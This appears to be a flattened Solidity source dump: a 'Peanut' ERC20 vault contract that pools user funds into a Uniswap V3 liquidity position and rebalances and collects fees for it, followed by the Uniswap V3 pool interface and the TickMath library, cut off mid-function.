//SPDX-License-Identifier: Unlicense pragma solidity >=0.7.6; pragma abicoder v2; import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol'; import '@uniswap/v3-core/contracts/libraries/TickMath.sol'; import '@uniswap/v3-core/contracts/libraries/FullMath.sol'; import '@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol'; import '@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol'; import '@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol'; import '@uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol'; import '@uniswap/v3-periphery/contracts/interfaces/external/IWETH9.sol'; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import './Exchanger.sol'; contract Peanut is ERC20, Ownable { using SafeMath for uint256; using SafeERC20 for ERC20; uint256 private _currentPositionId; bool public paused = false; uint256 public currentVaultFee = 0; uint256 public currentManagementFeePercent; uint256 public maxPoolLimitInToken0; uint256 public maxPoolLimitInToken1; uint256 public percentOfAmountMin; address public vaultAddress; address public managerAddress; address public exchanger; uint256 private constant hundredPercent = 1000000; uint256 private constant MAX_BASIS_POINTS = 10**18; INonfungiblePositionManager public constant uniswapV3PositionsNFT = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88); address public constant uniswapV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564; address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; int24 public immutable tickSpacing; uint24 public immutable protocolFee; uint256 public immutable maxVaultFeePercent; uint256 public immutable maxManagementFeePercent; address public immutable uniswapV3Pool; address public immutable token0; address public immutable token1; uint256 private immutable decimalsToken0; uint256 private immutable decimalsToken1; struct Balances { uint256 amount0; uint256 amount1; } struct Ticks { int24 tickLower; int24 tickUpper; } /// @notice Modifier for check msg.sender for permission functions modifier isAllowedCaller() { require(msg.sender == owner() || msg.sender == managerAddress); _; } modifier isPaused() { require(!paused); _; } receive() external payable { require(msg.sender == WETH || msg.sender == address(uniswapV3PositionsNFT)); } constructor( address _uniswapV3Pool, address _owner, address _manager, address _exchanger, uint256 _currentManagementFeePercent, uint256 _maxVaultFee, uint256 _maxManagementFeePercent, uint256 _maxPoolLimitInToken0, uint256 _maxPoolLimitInToken1, uint256 _percentOfAmountMin ) ERC20('Smart LP', 'SLP') { uniswapV3Pool = _uniswapV3Pool; exchanger = _exchanger; managerAddress = _manager; currentManagementFeePercent = _currentManagementFeePercent; maxVaultFeePercent = _maxVaultFee; maxManagementFeePercent = _maxManagementFeePercent; maxPoolLimitInToken0 = _maxPoolLimitInToken0; maxPoolLimitInToken1 = _maxPoolLimitInToken1; percentOfAmountMin = _percentOfAmountMin; transferOwnership(_owner); vaultAddress = owner(); IUniswapV3Pool UniswapV3Pool = IUniswapV3Pool(_uniswapV3Pool); token0 = UniswapV3Pool.token0(); token1 = UniswapV3Pool.token1(); protocolFee = UniswapV3Pool.fee(); tickSpacing = UniswapV3Pool.tickSpacing(); decimalsToken0 = 10**(ERC20(UniswapV3Pool.token0()).decimals()); decimalsToken1 = 10**(ERC20(UniswapV3Pool.token1()).decimals()); } //Events event PositionChanged( address addressSender, uint256 newPositionId, uint160 sqrtPriceLowerX96, uint160 sqrtPriceUpperX96 ); event LiquidityAdded(address addressSender, uint128 liquidity, uint256 amount0, uint256 amount1); event LiquidityRemoved( address addressSender, uint128 liquidity, uint256 amount0, uint256 amount1 ); event Claimed( address addressSender, uint256 amountLP, uint256 amount0Claimed, uint256 amount1Claimed ); event FeeCollected(address addressSender, uint256 amount0Collected, uint256 amount1Collected); //Functions function getCurrentSqrtPrice() public view returns (uint160 sqrtPriceX96) { (sqrtPriceX96, , , , , , ) = IUniswapV3Pool(uniswapV3Pool).slot0(); } function getCurrentPositionId() public view returns (uint256) { return _currentPositionId; } function getTickForSqrtPrice(uint160 sqrtPriceX96) public view returns (int24) { int24 tick = TickMath.getTickAtSqrtRatio(sqrtPriceX96); int24 tickCorrection = tick % int24(tickSpacing); return tick - tickCorrection; } function getUserShare(address account) public view returns (uint256) { if (totalSupply() == 0) { return 0; } return balanceOf(account).mul(hundredPercent).div(totalSupply()); } function getCurrentAmountsForPosition() public view returns (uint256 amount0, uint256 amount1) { require(_currentPositionId > 0); (, , , , , int24 tickLower, int24 tickUpper, uint128 liquidity, , , , ) = uniswapV3PositionsNFT .positions(_currentPositionId); (uint160 sqrtPriceCurrentX96, , , , , , ) = IUniswapV3Pool(uniswapV3Pool).slot0(); uint160 sqrtPriceLowerX96 = TickMath.getSqrtRatioAtTick(tickLower); uint160 sqrtPriceUpperX96 = TickMath.getSqrtRatioAtTick(tickUpper); (amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity( sqrtPriceCurrentX96, sqrtPriceLowerX96, sqrtPriceUpperX96, liquidity ); } function getBalances() public view returns (uint256 amount0, uint256 amount1) { return _getBalances(0); } function setPercentOfAmountMin(uint256 _percentOfAmountMin) public onlyOwner { percentOfAmountMin = _percentOfAmountMin; } function setCurrentManagementFeePercent(uint256 _currentManagementFeePercent) public onlyOwner { require(_currentManagementFeePercent <= maxManagementFeePercent); currentManagementFeePercent = _currentManagementFeePercent; } function setMaxPoolLimit(uint256 _maxPoolLimitInToken0, uint256 _maxPoolLimitInToken1) public onlyOwner { maxPoolLimitInToken0 = _maxPoolLimitInToken0; maxPoolLimitInToken1 = _maxPoolLimitInToken1; } function setExchangerStrategy(address _address) public onlyOwner { exchanger = _address; } function setVault(address _address) public onlyOwner { vaultAddress = _address; } function setCurrentVaultFee(uint256 _vaultFee) public onlyOwner { require(_vaultFee <= maxVaultFeePercent); currentVaultFee = _vaultFee; } function setManager(address _address) external onlyOwner { managerAddress = _address; } function setPaused(bool _paused) public onlyOwner { paused = _paused; } function createPositionForGivenSqrtPrices( uint160 sqrtPriceLowerX96, uint160 sqrtPriceUpperX96, uint256 amount0Desired, uint256 amount1Desired, uint256 amount0OutMin, uint256 amount1OutMin ) public payable onlyOwner isPaused { require(_currentPositionId == 0); // Check for token allowance _checkAllowance(token0, amount0Desired); _checkAllowance(token1, amount1Desired); // Receive tokens _transferTokenFrom(token0, msg.sender, amount0Desired); _transferTokenFrom(token1, msg.sender, amount1Desired); // Create position in uniswap uint128 liquidity = _createPositionForGivenSqrtPrices( sqrtPriceLowerX96, sqrtPriceUpperX96, amount0OutMin, amount1OutMin ); // Refund tokens from uniswap _refundFromUniswap(); // Mint tokens to msg.sender _mint(msg.sender, liquidity); // Return tokens to caller _refund(Balances(0, 0)); } function changePositionForGivenSqrtPrices( uint160 sqrtPriceLowerX96, uint160 sqrtPriceUpperX96, uint256 amount0OutMin, uint256 amount1OutMin ) public isAllowedCaller isPaused { require(_currentPositionId > 0); (, , , , , , , uint128 liquidity, , , , ) = uniswapV3PositionsNFT.positions(_currentPositionId); _removeLiquidity(liquidity); _createPositionForGivenSqrtPrices( sqrtPriceLowerX96, sqrtPriceUpperX96, amount0OutMin, amount1OutMin ); // Refund tokens from uniswap _refundFromUniswap(); emit PositionChanged(msg.sender, _currentPositionId, sqrtPriceLowerX96, sqrtPriceUpperX96); } function addLiquidity( uint256 amount0, uint256 amount1, uint256 amount0OutMin, uint256 amount1OutMin ) public payable isPaused { require(_currentPositionId > 0); (uint256 amount0CurrentLiq, uint256 amount1CurrentLiq) = getCurrentAmountsForPosition(); require( amount0CurrentLiq.add(amount0) <= maxPoolLimitInToken0 && amount1CurrentLiq.add(amount1) <= maxPoolLimitInToken1 ); _checkAllowance(token0, amount0); _checkAllowance(token1, amount1); // Collect tokens from position to the contract. // Get balance of contract without user tokens, but with collected ones. // Swap them in order to have a right proportion. // Increase liquidity. _collectFeeAndReinvest(amount0OutMin, amount1OutMin, msg.value); // Contract balance of tokens after collecting fee and increasing liquidity (without user eth amount). (uint256 contractAmount0, uint256 contractAmount1) = _getBalances(msg.value); // Receive tokens from user. _transferTokenFrom(token0, msg.sender, amount0); _transferTokenFrom(token1, msg.sender, amount1); (, , , , , , , uint128 prevLiquidity, , , , ) = uniswapV3PositionsNFT.positions( _currentPositionId ); // Add user tokens to position liquidity. uint128 liquidity = _addUserLiquidity( Balances(contractAmount0, contractAmount1), amount0, amount1 ); uint256 amount = _calculateAmountForLiquidity(prevLiquidity, liquidity); _refundFromUniswap(); _mint(msg.sender, amount); _refund(Balances(contractAmount0, contractAmount1)); emit LiquidityAdded(msg.sender, liquidity, amount0, amount1); } function collectFee(uint256 amount0OutMin, uint256 amount1OutMin) public isAllowedCaller isPaused { _collectFeeAndReinvest(amount0OutMin, amount1OutMin, 0); } function _collectFee() private returns (bool) { (uint256 amount0Collected, uint256 amount1Collected) = uniswapV3PositionsNFT.collect( INonfungiblePositionManager.CollectParams({ tokenId: _currentPositionId, recipient: address(this), amount0Max: type(uint128).max, amount1Max: type(uint128).max }) ); if (amount0Collected > 0 || amount1Collected > 0) { _withdraw(_isWETH(token0) ? amount0Collected : amount1Collected); _transferManagementFee(amount0Collected, amount1Collected); emit FeeCollected(msg.sender, amount0Collected, amount1Collected); return true; } return false; } function _collectFeeAndReinvest( uint256 amount0OutMin, uint256 amount1OutMin, uint256 userMsgValue ) private isPaused { require(_currentPositionId > 0); bool isCollected = _collectFee(); if (!isCollected) { return; } // Contract balance of tokens after collect and before swap (without user amount of eth). (uint256 contractAmount0, uint256 contractAmount1) = _getBalances(userMsgValue); (, , , , , int24 tickLower, int24 tickUpper, , , , , ) = uniswapV3PositionsNFT.positions( _currentPositionId ); (, , bool shouldIncreaseLiquidity) = _swapTokensStrategy( Balances(contractAmount0, contractAmount1), Ticks(tickLower, tickUpper), amount0OutMin, amount1OutMin ); if (!shouldIncreaseLiquidity) { return; } // Contract balance of tokens after swap (without user amount of eth). (contractAmount0, contractAmount1) = _getBalances(userMsgValue); uint256 valueETH = 0; if (_isWETH(token0) || _isWETH(token1)) { valueETH = _isWETH(token0) ? contractAmount0 : contractAmount1; } _increaseAllowance(token0, address(uniswapV3PositionsNFT), contractAmount0); _increaseAllowance(token1, address(uniswapV3PositionsNFT), contractAmount1); uniswapV3PositionsNFT.increaseLiquidity{ value: valueETH }( INonfungiblePositionManager.IncreaseLiquidityParams({ tokenId: _currentPositionId, amount0Desired: contractAmount0, amount1Desired: contractAmount1, amount0Min: _calculateAmountMin(contractAmount0), amount1Min: _calculateAmountMin(contractAmount1), deadline: 10000000000 }) ); // Refund tokens from uniswap. _refundFromUniswap(); } function claim( uint256 amount, uint256 amount0OutMin, uint256 amount1OutMin ) public isPaused { (uint256 amount0Decreased, uint256 amount1Decreased) = _claim( amount, amount0OutMin, amount1OutMin ); _transferToken(token0, msg.sender, amount0Decreased); _transferToken(token1, msg.sender, amount1Decreased); emit Claimed(msg.sender, amount, amount0Decreased, amount1Decreased); } function claimToken( address token, uint256 amount, uint256 amount0OutMin, uint256 amount1OutMin ) public isPaused { require(token == token0 || token == token1); (uint256 amount0WithoutFee, uint256 amount1WithoutFee) = _claim( amount, amount0OutMin, amount1OutMin ); uint256 amountForToken; (uint256 amountOutToken, address secondToken, uint256 amountDecreased) = token == token0 ? (amount0WithoutFee, token1, amount1WithoutFee) : (amount1WithoutFee, token0, amount0WithoutFee); if (amountDecreased > 0) { (amountForToken) = _swapExact(secondToken, amountDecreased, 0); } _transferToken(token, msg.sender, amountOutToken.add(amountForToken)); emit Claimed(msg.sender, amount, amount0WithoutFee, amount1WithoutFee); } // Private functions function _isWETH(address token) private pure returns (bool) { return token == WETH; } function _checkAllowance(address token, uint256 amount) private view { if (_isWETH(token)) { require(amount <= msg.value); return; } require(ERC20(token).allowance(msg.sender, address(this)) >= amount); } function _transferToken( address token, address receiver, uint256 amount ) private { if (_isWETH(token)) { TransferHelper.safeTransferETH(receiver, amount); return; } TransferHelper.safeTransfer(token, receiver, amount); } function _createPositionForGivenSqrtPrices( uint160 sqrtPriceLowerX96, uint160 sqrtPriceUpperX96, uint256 amount0OutMin, uint256 amount1OutMin ) private returns (uint128) { int24 tickLower = getTickForSqrtPrice(sqrtPriceLowerX96); int24 tickUpper = getTickForSqrtPrice(sqrtPriceUpperX96); (uint256 amount0ForSwap, uint256 amount1ForSwap) = getBalances(); (uint256 amount0, uint256 amount1, ) = _swapTokensStrategy( Balances(amount0ForSwap, amount1ForSwap), Ticks(tickLower, tickUpper), amount0OutMin, amount1OutMin ); require(tickUpper > tickLower); _increaseAllowance(token0, address(uniswapV3PositionsNFT), amount0); _increaseAllowance(token1, address(uniswapV3PositionsNFT), amount1); uint256 valueETH = 0; if (_isWETH(token0) || _isWETH(token1)) { valueETH = _isWETH(token0) ? amount0 : amount1; } (uint256 tokenId, uint128 liquidity, , ) = uniswapV3PositionsNFT.mint{ value: valueETH }( INonfungiblePositionManager.MintParams({ token0: token0, token1: token1, fee: protocolFee, tickLower: tickLower, tickUpper: tickUpper, amount0Desired: amount0, amount1Desired: amount1, amount0Min: _calculateAmountMin(amount0), amount1Min: _calculateAmountMin(amount1), recipient: address(this), deadline: 10000000000 }) ); _currentPositionId = tokenId; return liquidity; } function _increaseAllowance( address token, address receiver, uint256 amount ) private { if (_isWETH(token)) { return; } uint256 allowed = ERC20(token).allowance(address(this), receiver); if (allowed != 0) { ERC20(token).safeDecreaseAllowance(receiver, allowed); } ERC20(token).safeIncreaseAllowance(receiver, amount); } function _swapTokensStrategy( Balances memory balances, Ticks memory ticks, uint256 amount0OutMin, uint256 amount1OutMin ) internal returns ( uint256 amount0, uint256 amount1, bool isRebalanced ) { ( uint256 amount0ToSwap, uint256 amount1ToSwap, uint256 amount0AfterSwap, uint256 amount1AfterSwap, ) = Exchanger(exchanger).rebalance( ticks.tickLower, ticks.tickUpper, balances.amount0, balances.amount1 ); if (amount0AfterSwap == 0 || amount1AfterSwap == 0) { isRebalanced = false; return (0, 0, isRebalanced); } isRebalanced = true; if (amount0ToSwap != 0) { _swapExact(token0, amount0ToSwap, amount1OutMin); } else if (amount1ToSwap != 0) { _swapExact(token1, amount1ToSwap, amount0OutMin); } (amount0, amount1) = getBalances(); } function _getBalances(uint256 transferredAmount) private view returns (uint256 amount0, uint256 amount1) { amount0 = _isWETH(token0) ? address(this).balance.sub(transferredAmount) : ERC20(token0).balanceOf(address(this)); amount1 = _isWETH(token1) ? address(this).balance.sub(transferredAmount) : ERC20(token1).balanceOf(address(this)); } function _swapExact( address token, uint256 amount, uint256 amountOutMin ) private returns (uint256 amountOut) { return _isWETH(token) ? _swapExactETHToTokens(amount, amountOutMin) : _swapExactTokens(token, amount, amountOutMin); } function _swapExactTokens( address tokenIn, uint256 amountIn, uint256 amountOutMin ) private returns (uint256 amountOut) { _increaseAllowance(tokenIn, uniswapV3Router, amountIn); address tokenOut = tokenIn == token0 ? token1 : token0; (amountOut) = ISwapRouter(uniswapV3Router).exactInputSingle( ISwapRouter.ExactInputSingleParams({ tokenIn: tokenIn, tokenOut: tokenOut, fee: protocolFee, recipient: address(this), deadline: 10000000000, amountIn: amountIn, amountOutMinimum: amountOutMin, sqrtPriceLimitX96: 0 }) ); if (_isWETH(tokenOut)) { IWETH9(tokenOut).withdraw(IWETH9(tokenOut).balanceOf(address(this))); } } function _swapExactETHToTokens(uint256 amountIn, uint256 amountOutMin) private returns (uint256 amountOut) { require(_isWETH(token0) || _isWETH(token1)); (address tokenInWETH, address tokenOutNotWETH) = _isWETH(token0) ? (token0, token1) : (token1, token0); (amountOut) = ISwapRouter(uniswapV3Router).exactInputSingle{ value: amountIn }( ISwapRouter.ExactInputSingleParams({ tokenIn: tokenInWETH, tokenOut: tokenOutNotWETH, fee: protocolFee, recipient: address(this), deadline: 10000000000, amountIn: amountIn, amountOutMinimum: amountOutMin, sqrtPriceLimitX96: 0 }) ); } function _refund(Balances memory startBalances) private { (uint256 amount0, uint256 amount1) = getBalances(); _refundETHOrToken(amount0, startBalances.amount0, token0); _refundETHOrToken(amount1, startBalances.amount1, token1); } function _refundETHOrToken( uint256 balance, uint256 startBalance, address token ) private { if (balance > startBalance) { _isWETH(token) ? TransferHelper.safeTransferETH(msg.sender, balance - startBalance) : TransferHelper.safeTransfer(token, msg.sender, balance - startBalance); } } function _removeLiquidity(uint128 liquidity) private returns (uint256 amount0, uint256 amount1) { (uint256 amount0CurrentLiq, uint256 amount1CurrentLiq) = getCurrentAmountsForPosition(); (uint256 amount0Decreased, uint256 amount1Decreased) = uniswapV3PositionsNFT.decreaseLiquidity( INonfungiblePositionManager.DecreaseLiquidityParams({ tokenId: _currentPositionId, liquidity: liquidity, amount0Min: _calculateAmountMin(amount0CurrentLiq), amount1Min: _calculateAmountMin(amount1CurrentLiq), deadline: 10000000000 }) ); (uint256 amount0Collected, uint256 amount1Collected) = uniswapV3PositionsNFT.collect( INonfungiblePositionManager.CollectParams({ tokenId: _currentPositionId, recipient: address(this), amount0Max: type(uint128).max, amount1Max: type(uint128).max }) ); uint256 amount0Fee = amount0Collected.sub(amount0Decreased); uint256 amount1Fee = amount1Collected.sub(amount1Decreased); emit FeeCollected(msg.sender, amount0Fee, amount1Fee); _withdraw(_isWETH(token0) ? amount0Collected : amount1Collected); (uint256 amount0FeeForVault, uint256 amount1FeeForVault) = _transferManagementFee( amount0Fee, amount1Fee ); emit LiquidityRemoved(msg.sender, liquidity, amount0Collected, amount1Collected); return (amount0Collected.sub(amount0FeeForVault), amount1Collected.sub(amount1FeeForVault)); } function _withdraw(uint256 amount) private { if (!(_isWETH(token0) || _isWETH(token1))) { return; } IWETH9(WETH).withdraw(amount); } function _addUserLiquidity( Balances memory contractBalance, uint256 amount0, uint256 amount1 ) private returns (uint128 liquidity) { (, , , , , int24 tickLower, int24 tickUpper, , , , , ) = uniswapV3PositionsNFT.positions( _currentPositionId ); (uint256 contractAmount0AfterSwap, uint256 contractAmount1AfterSwap, ) = _swapTokensStrategy( Balances(amount0, amount1), Ticks(tickLower, tickUpper), 0, 0 ); uint256 userAmount0 = contractAmount0AfterSwap.sub(contractBalance.amount0); uint256 userAmount1 = contractAmount1AfterSwap.sub(contractBalance.amount1); uint256 valueETH = 0; if (_isWETH(token0) || _isWETH(token1)) { valueETH = _isWETH(token0) ? userAmount0 : userAmount1; } _increaseAllowance(token0, address(uniswapV3PositionsNFT), userAmount0); _increaseAllowance(token1, address(uniswapV3PositionsNFT), userAmount1); (liquidity, , ) = uniswapV3PositionsNFT.increaseLiquidity{ value: valueETH }( INonfungiblePositionManager.IncreaseLiquidityParams({ tokenId: _currentPositionId, amount0Desired: userAmount0, amount1Desired: userAmount1, amount0Min: _calculateAmountMin(userAmount0), amount1Min: _calculateAmountMin(userAmount1), deadline: 10000000000 }) ); } function _transferManagementFee(uint256 amount0, uint256 amount1) private returns (uint256 amount0FeeForVault, uint256 amount1FeeForVault) { amount0FeeForVault = 0; amount1FeeForVault = 0; if (amount0 > 0) { amount0FeeForVault = FullMath.mulDiv(amount0, currentManagementFeePercent, hundredPercent); _transferToken(token0, vaultAddress, amount0FeeForVault); } if (amount1 > 0) { amount1FeeForVault = FullMath.mulDiv(amount1, currentManagementFeePercent, hundredPercent); _transferToken(token1, vaultAddress, amount1FeeForVault); } } function _transferTokenFrom( address token, address sender, uint256 amount ) private { if (_isWETH(token)) { return; } ERC20(token).safeTransferFrom(sender, address(this), amount); } function _claim( uint256 amount, uint256 amount0OutMin, uint256 amount1OutMin ) private returns (uint256 amount0Decreased, uint256 amount1Decreased) { require(_currentPositionId > 0); require(amount <= balanceOf(msg.sender)); (, , , , , , , uint128 newLiquidity, , , , ) = uniswapV3PositionsNFT.positions( _currentPositionId ); uint128 shareForLiquidity = _toUint128( FullMath.mulDiv(uint256(newLiquidity), amount, totalSupply()) ); _burn(msg.sender, amount); (amount0Decreased, amount1Decreased) = uniswapV3PositionsNFT.decreaseLiquidity( INonfungiblePositionManager.DecreaseLiquidityParams({ tokenId: _currentPositionId, liquidity: shareForLiquidity, amount0Min: amount0OutMin, amount1Min: amount1OutMin, deadline: 10000000000 }) ); (uint256 amount0Collected, uint256 amount1Collected) = uniswapV3PositionsNFT.collect( INonfungiblePositionManager.CollectParams({ tokenId: _currentPositionId, recipient: address(this), amount0Max: _toUint128(amount0Decreased), amount1Max: _toUint128(amount1Decreased) }) ); _withdraw(_isWETH(token0) ? amount0Collected : amount1Collected); uint256 amount0feeVault = FullMath.mulDiv(amount0Collected, currentVaultFee, hundredPercent); uint256 amount1feeVault = FullMath.mulDiv(amount1Collected, currentVaultFee, hundredPercent); uint256 amount0Claimed = amount0Collected.sub(amount0feeVault); uint256 amount1Claimed = amount1Collected.sub(amount1feeVault); _transferToken(token0, vaultAddress, amount0feeVault); _transferToken(token1, vaultAddress, amount1feeVault); return (amount0Claimed, amount1Claimed); } function _calculateAmountForLiquidity(uint128 prevLiquidity, uint128 newLiquidity) private view returns (uint256 amount) { if (prevLiquidity == 0) { amount = newLiquidity; } else { amount = FullMath.mulDiv(totalSupply(), uint256(newLiquidity), uint256(prevLiquidity)); } } function _toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } function _refundFromUniswap() private { // Refund tokens from uniswap if (_isWETH(token0)) { uniswapV3PositionsNFT.refundETH(); uniswapV3PositionsNFT.unwrapWETH9(0, address(this)); } else { uniswapV3PositionsNFT.sweepToken(token0, 0, address(this)); } // Refund tokens from uniswap if (_isWETH(token1)) { uniswapV3PositionsNFT.refundETH(); uniswapV3PositionsNFT.unwrapWETH9(0, address(this)); } else { uniswapV3PositionsNFT.sweepToken(token1, 0, address(this)); } } function _calculateAmountMin(uint256 amount) private view returns (uint256 amountMin) { amountMin = FullMath.mulDiv(amount, percentOfAmountMin, hundredPercent); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './pool/IUniswapV3PoolImmutables.sol'; import './pool/IUniswapV3PoolState.sol'; import './pool/IUniswapV3PoolDerivedState.sol'; import './pool/IUniswapV3PoolActions.sol'; import './pool/IUniswapV3PoolOwnerActions.sol'; import './pool/IUniswapV3PoolEvents.sol'; /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions, IUniswapV3PoolOwnerActions, IUniswapV3PoolEvents { } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMath { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 